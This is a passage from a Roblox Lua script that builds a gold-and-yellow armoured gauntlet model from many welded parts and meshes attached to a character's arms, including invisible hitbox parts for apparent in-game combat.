Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.80495441, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.520593584, -0.501441956, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.779878199)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.351730466, -0.501449585, -0.640689731, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.292455643, 0.121856183, 0.292453945)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.361777306, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0627520084, -0.48134613, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.779878199)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.354698539, -0.411003113, -0.341659427, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.492300361, 0.999220669, 0.38993907)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 1.0049336, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.364227653, 0, 0.194465637, -1, 0, -0, 0, 0, 1, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.663256109, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.502471805, 0.0326025486, 0.194465637, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.401973516, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.488883972, 0, -0.118135333, 0, -1, -0, 0, 0, 1, -1, 0, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389940947, 1, 0.389938712)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.462270945, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.409549892, -0.47883606, 0.351714253, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 0.877363086)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.462270945, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.409549892, -0.47883606, -0.351745486, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 0.877363086)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.723554611, 0.206172079, 0.40197283)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.479904354, -0.488883972, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.389939815, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.502471805, 0.364227653, 0.194465637, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("SpecialMesh", Part3, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 0.194969699, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.442184329, -0.409553707, -0.488883972, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.351745486, -0.498931885, -0.640685916, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.877367318, 0.0974849537, 0.877362907)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.241183683)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.881875753, -0.488883972, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389940947, 0.389939815, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.442184538, -0.409553707, -0.488883972, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.683353961)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.208579898, -0.47882843, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.877367556, 0.292454839, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.351714253, -0.498935699, -0.640685916, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.877367318, 0.0974849537, 0.877362907)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.442170709, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.502456784, -0.0779379606, -0.448684692, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.261260033, -0.409553707, -0.488883972, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.261283636, 0.462269485, 1.08532703)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.273788691, -0.21754837, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.261291385, -0.409557521, -0.488883972, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.522567213, 0.206172079, 1.08532703)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.143150568, -0.47883606, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.442170709, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.502487063, -0.0779341459, -0.448684692, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.351745486, -0.501449585, -0.640689731, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.292455643, 0.121856183, 0.292453945)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.354698539, -0.411003113, 0.341704488, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.492300361, 0.999220669, 0.38993907)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.354692817, -0.411003113, 1.43051147e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.492300361, 0.999220669, 0.38993907)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.944640577, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.168369114, -0.48134613, -0.351745486, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.292454064)) Part4 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part4", Vector3.new(1.04513443, 0.206172079, 0.206172064)) Part4Weld = CFuncs.Weld.Create(m, HandleR, Part4, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-3.14712524e-005, -0.144226074, 0.349262118, 0, 0, 1, 0, -1, -0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part4, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.487424731, 0.487424105)) Part5 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part5", Vector3.new(1.04513443, 0.206172079, 0.206172064)) Part5Weld = CFuncs.Weld.Create(m, HandleR, Part5, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(3.14712524e-005, -0.398441315, 0.349269748, 0, 0, -1, 0, 1, 0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part5, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.487424731, 0.487424105)) Part6 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part6", Vector3.new(0.206172049, 0.442170829, 1.04512966)) Part6Weld = CFuncs.Weld.Create(m, HandleR, Part6, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.349269748, -0.127105713, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part6, "", "", Vector3.new(0, 0, 0), Vector3.new(0.48742649, 1, 1)) HandleL = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 1, "Bright yellow", "HandleL", Vector3.new(0.403949469, 0.452220112, 0.425030977)) HandleLWeld = CFuncs.Weld.Create(m, Character["Left Arm"], HandleL, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.637853563, -0.00997924805, 0.00182324648, 0, -1, 0, 1, 0, 0, 0, -0, 1)) HitboxL = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 1, "Bright yellow", "HitboxL", Vector3.new(1.00394952, 1.05222011, 1.02503109)) HitboxLWeld = CFuncs.Weld.Create(m, HandleL, HitboxL, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0999999642, 3.81469727e-006, 5.96046448e-008, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.401974738, 1.08532834, 0.40197292)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.098050952, 0.00573730469, 0.171247482, 1, 0, 0, 0, 0, -1, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.335890889, -0.251642227, 0.414461493, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.779882133, 0.77987963, 0.292454481)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.281382293, 0.206172079, 0.281381041)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.171247482, -0.548431277, 0.098050952, 0, 1, 0, 0, 0, 1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.194969907, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.281382293, 0.206172079, 0.281381041)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.171247482, 0.536894917, 0.098050952, 0, 1, 0, 0, 0, 1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.194969907, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00573730469, -0.251634598, 0.414469123, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.779882133, 0.77987963, 0.292454481)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.52296257, -0.166549563, 0.881902456, 0, 1, 0, 0, 0, 1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.389939725, 0.389939249)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.502866745, -0.447936893, 0.208598971, 0, 1, 0, 0, 0, 1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.974849463, 0.877363384)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.335906148, -0.251642227, 0.404413581, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.974852681, 0.974849463, 0.194969654)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.5229702, -0.155028343, 0.881904364, 0, -1, -0, 0, 0, -1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.389939725, 0.389939249)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00573730469, -0.251642227, 0.404413581, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.974852681, 0.974849463, 0.194969654)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part", Vector3.new(1.01297641, 0.562762797, 0.361775607)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00271511078, -0.231538773, 0.72112453, 0, 0, 1, 0, -1, -0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.347427249, -0.251642227, 0.404413581, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.974852681, 0.974849463, 0.194969654)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.50287056, -0.436416715, 0.208604693, 0, -1, -0, 0, 0, -1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.974849463, 0.877363384)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(1.0853318, 0.206172079, 0.261282384)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00573730469, -0.0196914673, -0.273781061, 0, 0, -1, 0, 1, 0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleL, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.347427249, -0.251634598, 0.414469123, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.779882133, 0.77987963, 0.292454481)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.638334274, 0.120502472, -0.377624631, 0.866025984, 0.499998987, 0, 0.499998987, -0.866025984, 0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.516500473, 0.0501613617, -0.377654195, 0.866025984, 0.499998987, 0, 0.499998987, -0.866025984, 0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.39466095, -0.0201816559, -0.377624631, 0.866025984, 0.499998987, 0, 0.499998987, -0.866025984, 0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.401974738, 0.572812021, 0.252237976)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.339231372, -0.236558914, 0.383117557, 1, 0, 0, 0, -1, -0, 0, 0, -1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part2", Vector3.new(0.803949475, 0.452220112, 1.02503097)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.500019014, 0.275951385, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.401974738, 0.572812021, 0.258267611)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.339231372, -0.236558914, -0.374602437, 1, 0, 0, 0, -1, -0, 0, 0, -1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.63834095, 0.120515823, 0.384124637, 0.866025984, 0.499998987, 0, 0.499998987, -0.866025984, 0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.562762797, 0.206172064)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.364218116, -0.110958099, -0.496704191, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("CylinderMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 